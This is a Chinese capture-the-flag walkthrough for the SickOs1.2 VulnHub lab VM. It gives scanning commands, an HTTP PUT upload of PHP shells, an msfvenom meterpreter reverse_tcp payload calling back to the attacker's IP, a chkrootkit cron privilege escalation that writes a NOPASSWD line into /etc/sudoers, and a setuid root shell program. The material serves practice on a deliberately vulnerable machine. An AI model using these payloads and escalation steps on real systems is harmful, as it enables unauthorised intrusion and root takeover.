仅供个人娱乐

靶机信息

靶机下载地址:https://www.vulnhub.com/entry/sickos-12,144/
一、主机发现

 arp-scan -l

二、端口扫描

1. masscan --rate=10000 -p0-65535 192.168.181.133

三、端口服务识别

nmap -sV -n 192.168.181.133

四、漏洞查找与利用

1.浏览器访问http://192.168.181.133,发现发现登录界面,尝试目录扫描,没发现有用信息

dirb http://192.168.181.133 /usr/share/dirb/wordlists/big.txt

2.发现http://192.168.181.133/test/

1.SSH爆破

3.发现ssh的版本OpenSSH 5.9p1,存在用户枚举漏洞,用msf枚举用户得到用户John, root

searchsploit openssh

search openssh

4.使用hydra进行ssh爆破,破解出来root

5.发现web服务的版本lighttpd 1.4.28

searchsploit lighttpd,搜索漏洞,发现没有什么可利用的漏洞

6.  nmap 192.168.181.133 --script http-methods.nse --script-args http.methods.url-path="/test"

Getshell方式一 菜刀 shell

2.Bp抓包改为OPTIONS

或者对/test页面抓包,然后修改请求头为OPTIONS查看支持的HTTP方法

7. 上传了一个html文件进行测试,发现真的上传成功了(上传一个不存在的文件会响应201 Created)

3.Getshell方式一:菜刀

8.上传php一句话

9. 在菜刀中上传php反弹shell,反弹连接的IP以及端口,端口设置为443(防火墙阻止了非常用端口出去)

或者使用

4.使用php-reverse-shell.php

10.将Kali上的php-reverse-shell.php复制到物理机上,重命名为1.php,并修改监听的IP地址和端口;

IP:192.168.181.128

Port:443(注:换成其他高位端口不能监听成功,防火墙过滤掉了)

11.查看系统版本和内核版本

Getshell方式二:msf反弹 curl上传

1.Msfvenom生成一个反弹shell

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.10.128 LPORT=7777 -f raw > shell.php

2.curl上传生成的反弹shell到目标

curl -v -H 'Expect:' -T shell.php "http://192.168.181.133/test/"

3. msf开启监听

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set lhost 192.168.181.128

set lport 7777或者443

exploit -j

sudo netstat -plnt

4.访问上传的shell

curl -v "http://192.168.181.133/test/shell.php"

获得shell

五、提权

lsb_relese -a

ls -la /etc/cron*

/etc/cron.daily:

查看漏洞

可以看到chkrootkit存在本地提权漏洞

方法一:添加当前用户www-data到sudoers列表中

Tmp新建一个文件update

cd /tmp

touch update

ls -l

给update文件添加执行权限

chmod +x /tmp/update

添加当前用户www-data到sudoers列表中;

echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers' > /tmp/update

sudo su root

提权方式二:漏洞库

1.exploit-database中对漏洞chkrootkit进行搜索

2.msf中利用对应的漏洞结合已经获得的session

3.使用exploit/unix/local/chkrootkit模块本地提权,设置参数

4.开始攻击,成功,获得管理员权限

提权方式三:创建shell.c文件

1.编写创建shell.c文件提权

在Kali上编写shell.c文件

#include<unistd.h>

void main(void)

{

system("chown root:root /tmp/update");

system("chmod 4755 /tmp/update");

setuid(0);

setgid(0);

execl("/bin/sh","sh",NULL);

}

将shell.c文件上传到靶机上

curl -v -H "Expect:" -T shell.c http://192.168.232.136/test/

cd /var/www/test

ls

cp shell.c /tmp/shell.c

cd /tmp



SickOs1.2靶机的更多相关文章

  1. kali渗透综合靶机(十二)--SickOs1.2靶机

    kali渗透综合靶机(十二)--SickOs1.2靶机 靶机下载地址:https://www.vulnhub.com/entry/sickos-12,144/ 一.主机发现 1.netdiscover ...

  2. CTF线下防御战 — 让你的靶机变成“铜墙铁壁”

    本文首发安全客,未经允许禁止转载.原文链接 一. 前言 随着CTF的普及,比赛的形式也有了越来越多的花样,对于线下赛来说,开始出现了安全加固或者防御战之类的环节,亦或者因为拿下靶机后不希望其他攻击者进 ...

  3. Ms17-010进行WEB提权之实践下某培训靶机服务器

    前言:该机器为某个其他培训机构的靶机,说实话在这里没炫耀啥,只是给各位学习Ms17010的同学指一条路,我原先也折腾这玩意儿好久,但是就是不行,最近才找到了出路,所以多写两篇文章,把各种需要注意的地方 ...

  4. metasploit利用漏洞渗透攻击靶机

    1.网络测试环境构建 首先需要先配置好一个渗透测试用的网络环境,包括如图1所示的运行Kali Linux系统的计算机,如图2所示的老师给的Windows Server 2000系统的计算机.这两台计算 ...

  5. web 攻击靶机解题过程

    sql注入靶机攻击过程请参考 https://pentesterlab.com/exercises/from_sqli_to_shell/course http://www.sohu.com/a/12 ...

  6. Fowsniff: 1靶机入侵

    一.信息收集 1.存活主机扫描 arp-scan  -l 发现192.168.1.13是目标靶机的IP地址 2.端口扫描 接下来用nmap神器来扫描目标IP地址,命令如下: root@kali2018 ...

  7. digitalworld.local: MERCY靶机入侵

    0x01 前言 MERCY是一个致力于PWK课程安全的靶机系统.MERCY是一款游戏名称,与易受攻击的靶机名称无关.本次实验是攻击目标靶机获取root权限并读系统目录中的proof.txt信息 靶机的 ...

  8. Moonraker:1靶机入侵

      0x01 前言 攻击Moonraker系统并且找出存在最大的威胁漏洞,通过最大威胁漏洞攻击目标靶机系统并进行提权获取系统中root目录下的flag信息. Moonraker: 1镜像下载地址: h ...

  9. FourAndSix: 2.01靶机入侵

      0x01 前言 FourAndSix2是易受攻击的一个靶机,主要任务是通过入侵进入到目标靶机系统然后提权,并在root目录中并读取flag.tx信息 FourAndSix2.镜像下载地址: htt ...

随机推荐

  1. NOIP模拟测试29「爬山·学数数·七十和十七」

    爬山题解不想写了 学数数 离散化然后找到以每一个值为最大值的连续子段有多少个,然后开个桶维护 那么怎么找以每一个值为最大值的连续子段个数 方法1(我的极笨的方法) 考试时我的丑陋思路, 定义极左值为左 ...

  2. NOIP模拟测试6「那一天我们许下约定(背包dp)·那一天她离我而去」

    那一天我们许下约定 内部题,题干不粘了. $30分算法$ 首先看数据范围,可以写出来一个普通dp #include<bits/stdc++.h> #define ll int #defin ...

  3. 关于equals()和hashcode()的一些约定

    本文章主要讨论和回答一下几个问题: equals()的四大特性 equals()和hashcode()之间的关系,为什么我们经常说这两个方法要么都重写,要么都不重写? HashMap.HashSet等 ...

  4. 十八、.net core(.NET 6)搭建ElasticSearch(ES)系列之使用Logstash通过Rabbitmq接收Serilog日志到ES

    使用Logstash通过Rabbitmq接收Serilog日志到ES 首先,要部署logstash 为了与前面的ElasticSearch版本保持一致,此处Logstash下载的版本也是7.13.1, ...

  5. 3、SpringBoot整合之SpringBoot整合JDBC

    SpringBoot整合JDBC 一.创建SpringBoot项目 选择Spring Web.JDBC API.MySQL Driver 二.在pom配置文件中修改JDBC版本,导入lombok &l ...

  6. Gym 101334A Area 51 数学

    大致题意: 给出n个建筑的二维坐标,每个建筑名称为一个字母,不同坐标的建筑可以有同一名称,并保证这些坐标都是在y轴上半轴.给出一串建筑名称的字符串,在X轴上找出一个或多个区间,使Nick在这个区间上从 ...

  7. Sql Server 查询正在执行的sql信息和锁定事务

    执行中的sql SELECT [Spid] = session_Id, ecid, [Database] = DB_NAME(sp.dbid), [User] = nt_username, [Stat ...

  8. RabbitMQ重试机制

    消费端在处理消息过程中可能会报错,此时该如何重新处理消息呢?解决方案有以下两种. 在redis或者数据库中记录重试次数,达到最大重试次数以后消息进入死信队列或者其他队列,再单独针对这些消息进行处理: ...

  9. centos7 之 设置环境变量(转载)

    设置centos环境变量,可以用export命令,也可以通过修改文件形式实现,本文以lavavel需要设置环境变量为例,将 /root/.config/composer/vendor/bin 路径加到 ...

  10. 南京大学计算机基础 X64函数调用和链接器原理和可重定位的文件.o

    一. 1.函数调用差别 X64的函数调用,和X86函数调用区别,在于参数的传递不一样了,X64的参数传递不在依靠栈来传,而是寄存器,不过还是具有局限性的 比如只能允许六个寄存器来传,分别是RDI,RS ...